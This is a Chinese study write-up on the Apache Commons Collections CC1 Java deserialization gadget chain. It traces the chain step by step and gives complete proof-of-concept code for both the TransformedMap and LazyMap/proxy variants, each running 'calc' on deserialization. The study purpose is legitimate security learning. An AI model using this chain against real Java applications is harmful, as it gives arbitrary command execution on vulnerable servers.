🌸 前言
上篇文章学习记录了URLDNS链,接下来学习一下Common-Colections利用链。
🌸 相关介绍
Common-Colections是Apache软件基金会的项目,对Java标准的Collections API提供了很好的补充,在其基础上对常用的数据结构进行了封装、抽象和补充,目的在于提供可重用的、用来解决常见需求的代码及数据结构。
CC1的测试环境需要在Java 8u71之前,在此之后AnnotationInvocationHandler的readObject不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。
🌸 环境配置
JDK8u65:Java Archive Downloads - Java SE 8
下载sun的源码:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/41ab7149fea2
(这里的JDK我直接下载了exe可执行文件,然后运行 拿到的jdk文件)
之后将下载的sun源码中的文件(/src/share/classes/sun
),复制到jdk文件中的src目录下:
之后配置IDEA File->Project Structure->SDKs->Sourcepath 加入src文件夹
Maven加载的jar包,可以直接点击download source进行下载:
🌸 相关接口和类
🍂 Transformer
public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);
}
Transformer
是一个接口,他有一个待实现方法为transform(Object input)
,去寻找这个方法的实现类:
发现在InvokerTransformer
类中重写了这个方法transform
,这个类中的方法接受一个参数Oject input
,之后判断了这个input是不是为空!如果不为空的话,就通过反射执行方法名和方法的参数!
🍂 InvokerTransformer
InvokerTransformer
实现了Transformer
, Serializable
接口,这个类就可以实现执行任意方法,它存在一个方法transform
方法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
该方法可以实现任意方法执行,当然这也是CC1的关键点所在!实例化这个类可以看到有参数的构造器,需要传进去三个参数:分别是方法名、参数类型和参数。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
那走到这里的话,大概就可以使用InvokerTransformer
类来执行危险的操作了!
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {
Runtime runtime = Runtime.getRuntime();
//String methodName, Class[] paramTypes, Object[] args
InvokerTransformer invokerTransformer = new InvokerTransformer(new String("exec"),new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
因此我们当前的利用链就是:
InvokerTransformer类(transform)可以实现命令执行!
继续向前找,看看谁调用了transform
方法,参数类型最好是Object
类型。
最后找到了集合map
中存在一个TransformedMap
类,里面存在checkSetValue
方法,调用了transform
方法!接受的参数还是Object
类型!
到这里就可以继续完善我们的利用链了:
TransformedMap.checkSetValue()->InvokerTransformer.transform()
🍂 TransformedMap
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
代码中发现checkSetValue
方法是protected
修饰的!因此就需要通过反射来调用了。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
同样构造器也是protected
修饰的,因此还是可以通过反射来获取所有的构造器,当然在TransformedMap
类中存在一个静态方法decorate
方法。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
这个方法中实例化了TransformedMap
方法!接受了三个参数,分别是Map、两个Transformer
,回去看checkSetValue
方法的时候,发现valueTransformer
才是对我们有用的!继续修改命令执行的代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {
Runtime runtime = Runtime.getRuntime();
//因为decorate静态方法是需要传递map,所以创建一个hashmap
HashMap hashMap = new HashMap();
//decorate静态方法还需传递两个Transformer
//其中valueTransformer是我们需要用到的InvokerTransformer的实例化对象
InvokerTransformer keyTransformer = new InvokerTransformer(null,null,null);
InvokerTransformer valueTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//传递三个参数
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, keyTransformer, valueTransformer);
//checkSetValue方法只能是反射来调用
Class<?> aClass = Class.forName("org.apache.commons.collections.map.TransformedMap");
//获取checkSetValue方法
Method checkSetValue = aClass.getDeclaredMethod("checkSetValue", Object.class);
//设置可访问属性为true!
checkSetValue.setAccessible(true);
//传递参数调用,最终实现弹出计算器的操作
checkSetValue.invoke(transformedMap,runtime);
}
}
接下来根据现在的利用链继续往前找:(看看谁调用了checkSetValue
方法)于是只找到了一处调用:
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
这里就需要看一下parent
是不是可控的
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
整体看了一下代码,发现setValue
方法是AbstractInputCheckedMapDecorator
类中的内部静态类里面的MapEntry
类中的内部方法。这里就需要去了解如何能到执行到setValue
!
此处了解到TransformedMap
类继承了AbstractInputCheckedMapDecorator
类。
继续完善代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {
Runtime runtime = Runtime.getRuntime();
HashMap<String,Object> map = new HashMap<>();
map.put("Y4y17","a");
// InvokerTransformer keyTransformer = new InvokerTransformer(null,null,null);
InvokerTransformer valueTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map<String,Object> transformedMap =TransformedMap.decorate(map, null, valueTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
}
}
继续完善当前的利用链:
AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()
继续找有没有地方调用了setValue
方法!于是就找到了AnnotationInvocationHandler
类中的readObject
方法里面刚好就调用了!
但是这个类是默认的属性:
因此也是需要进行反射获取类原型和构造器的!但是这里需要注意的是,我们的Runtime
是无法序列化的!
package org.y4y17;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
//因为Runtime是不可以序列化的,所以这里就尝试进行通过反射来绕过
Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getDeclaredMethod("getRuntime");
Runtime runTime = (Runtime) getRuntime.invoke(null, null);
Method exec = runtimeClass.getDeclaredMethod("exec", String.class);
exec.invoke(runTime, "calc");
//改为InvokerTransformer类调用
Method getRuntime1 = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime1);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
}
}
在反射RunTime
类的基础上将上面的代码修改为InvokerTransformer
类的利用方式:
package org.y4y17;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Method getRuntime1 = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime1);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
}
}
这样的话就可以通过InvokerTransformer
类来实现弹计算器的操作了!其实可以看到上面是一个递归调用的形式,于是出现了下面的一个类:ChainedTransformer
🍂 ChainedTransformer
该类也是实现了Transformer和Serializable接口的一个类,她的作用就是将内部的多个Transformer连接在一起。
其构造函数传入了一个Transformer
数组;然而transform
方法就是遍历这个数组,取出数组里面的Transformer
对象并调用transform
方法,返回的对象又作为下一个Transformer
的transform
方法中的参数被调用。相当于是调用的结果被作为下一个的输入。(说白了其实就是递归调用!)
所以我们就没必要这么麻烦的写上面的代码了!将上面的代码进行改进,使用ChainedTransformer
类中的transform
方法实现循环调用!
package org.y4y17;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
//由于ChainedTransformer类中构造器需要传递的参数是Transformer数组,因此创建一个Transformer数组,将上面的三个InvokerTransformer放进去
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
// 的transform方法
}
}
🍂 ConstantTransformer
该类的transform方法返回一个固定的值!
transform方法传入的参数为Object类型的对象,然后方法的功能就是返回一个常量!这个常量是通过构造函数进行赋值的!
🌸 构造链子
寻找一条链子的思路是从后往前找,上面已经提到了我们InvokerTransformer类中存在一个transform方法,这个方法是可以执行任意方法的,那这就是这条链子的终点!我们从这里往前寻找,整个思路就是谁又调用了transform方法,对应的方法又在何处被调用了,最终找到readObject里面调用的方法!
上面提到了InvokerTransformer类中的方法,InvokerTransformer类中的构造方法要求传入三个参数,分别是方法名、参数类型和参数。然后调用transform方法,传入一个对象,利用反射拿到原型类,之后再拿到方法(这里的方法就是我们在构造函数中传入的方法),利用invoke执行代码!
先写一个普通的反射
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
Class aClass = r.getClass();
Method exec = aClass.getMethod("exec", String.class);
exec.invoke(r,"calc");
}
接下来我们就是尝试利用InvokerTransformer来执行transform,从而达到任意方法执行。
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
//实例化一个InvokerTransformer对象,传入要执行的方法,参数类型和参数
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//调用transform方法,传入对象r
invokerTransformer.transform(r);//之后便会通过反射获取执行方法,进而完成弹计算器的操作
}
之后我们就需要去寻找谁调用了transform:
找到了很多处调用,最终发现在TransformedMap类中checkSetValue调用了transform方法。
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
此时我们需要定位一下valueTransformer是什么,于是看一下构造方法:
构造方法需要传入三个值,分别是Map,和两个Transformer。由于是protected修饰,所以还需要找实例化的地方,于是向上找到decorate:
之后我们还需要去找是谁调用了checkSetValue方法:
发现在AbstractInputCheckedMapDecorator抽象类的内部类MapEntry中的setValue方法调用了checkSetValue
然而如何去调用setValue呢?其实就是在遍历entity(一个entity其实就是一个键值对!)的时候便可以调用setValue。
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry:map.entrySet()){
entry.setValue(r);
}
}
此时通过for循环来遍历entity,就会调用到:AbstractInputCheckedMapDecorator类中的内部类MapEntry里面的方法setValue
其中parent就是TransformedMap类,也就是说调用了TransformedMap类的checkSetValue方法,而valueTransformer的值就是我们传入的InvokerTransformer,继续调用他的transform方法!
之后就是需要找到谁调用了setValue,最好是readObject直接调用!
刚好就是找到了AnnotationInvocationHandler类中的readObject方法调用了setValue!
该类并没有public修饰,省略了修饰符,那就是default修饰,因此我们必须通过反射来获取这个类,同时他的构造器参数是两个:一个是class继承了注解(Override就是一个注解),另一个是Map,这里的Map,我们便可以将我们的TransformedMap传递进去。
我们先来通过反射获取原型类:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
declaredConstructor.newInstance(Override.class,map);
如上是AnnotationInvocationHandler的readObaject方法,这里在序列化和反序列化之前,有几个问题:
- 可以看到readObject中调用setValue的时候,参数是new Anno... 这里到底可控不可控?
- 如果可控的话,我们传入的值Runtime的r,Runtime是不可以序列化的,那怎么办?
- memberValue.setValue()想要执行,前面还有两个if,需要满足。
首先来解决Runtime序列化的问题,我们知道Runtime.class是可以序列化的!
因此我们再来重新反射进行测试:
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Class c = Runtime.class;
Method getRuntimeMethod = c.getDeclaredMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
}
这样我们是正常的通过反射来执行弹计算器的操作!
接下来我们将他修改成InvokerTransformer的形式:
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
看到这个代码,可以看到前一个调用的结果作为了下一个调用的输入,所以根据上面,想到了一个ChainedTransformer类:
他就是存储一个transformers数组,循环调用!因此我们可以创建一个transformers数组来存放上面的代码,就不需要每次都写,直接调用一次transform方法即可:
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
其次就是setValue的时候参数到底可控吗?这里就有用到上面的一个类------ConstantTransformer;传入Runtime.class,调用transform方法的时候,返回的值就是传入的值;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
最后还有两个if来绕过,这里的两个if作用大概就是判断我们传入的注解,是否能够通过key获取到value信息。
我们传入的注解为Target,注解中存在value,因此hashmap中的key就设置为value,这样就可以满足两个if条件了:
最终的POC如下:
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","aaa");
Map<Object,Object> map = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, map);
serialize(o);
unserialize("ser.bin");
}
大概再来跟一下整个代码的执行流程,断点设置如下:
调用memberVaule(AbstractInputCheckedMapDecorator)的setValue方法:
跟进:
调用了TransformedMap类的checkSetValue方法:继续跟进
调用ChainedTransformer类中的transform方法,进行遍历:
执行calc。
🌸 LazyMap分析
这里其实还有第二种方法!就是通过LazyMap类实现。在LazyMap里面同样是调用了transform方法!
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
这里首先通过if条件判断了map里面是不是包含了key,然后通过factory.transform(key)
调用。然后我们观察这个factory
是不是可控的,观察到LazyMap
的构造器如下:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
他传递的参数有两个是Map map, Transformer factory
,构造器是protected
修饰的,所以只能是自己调用。继续看哪里调用了构造器:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
然后就发现了LazyMap
的静态方法有一个decorate
,该方法实例化了LazyMap对象。因此我们这里先继续完善代码:(其实chainedTransformer
之后的链子都是不变的)
package org.y4y17;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("res1.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void deserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("res1.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
这里我们继续找谁调用了LazyMap
里面的get
方法,这里就比较多了,直接看了cc1作者的链子,其实还是AnnotationInvocationHandler
这个类。在该类的invoke
方法中调用了:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
//就是下面的这行代码调用了get方法!
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
而这个类是动态类加载的处理器类,那么我们需要想办法调用到这个invoke方法,回想在类加载机制学习的时候,当我们利用动态代理调用它里面的任意方法的时候,就会调用到这个invoke方法!
我们逐行的分析代码:
if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
return equalsImpl(args[0]);
如果请求的是equals
方法的话,就会调用equalsImpl
方法。
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
如果我们调用的参数不是空的(也就是有参数的方法的话)就会抛出异常了。所以说只能是调用无参的方法!然而在readObject方法中刚好是调用了无参的方法!
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
//反射创建AnnotationInvocationHandler类对象
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandlerConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler in = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
//创建动态代理
Object mapProxy = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, in);
Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
// serialization(o);
deserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void deserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc1.bin"));
objectInputStream.readObject();
objectInputStream.close();
}
}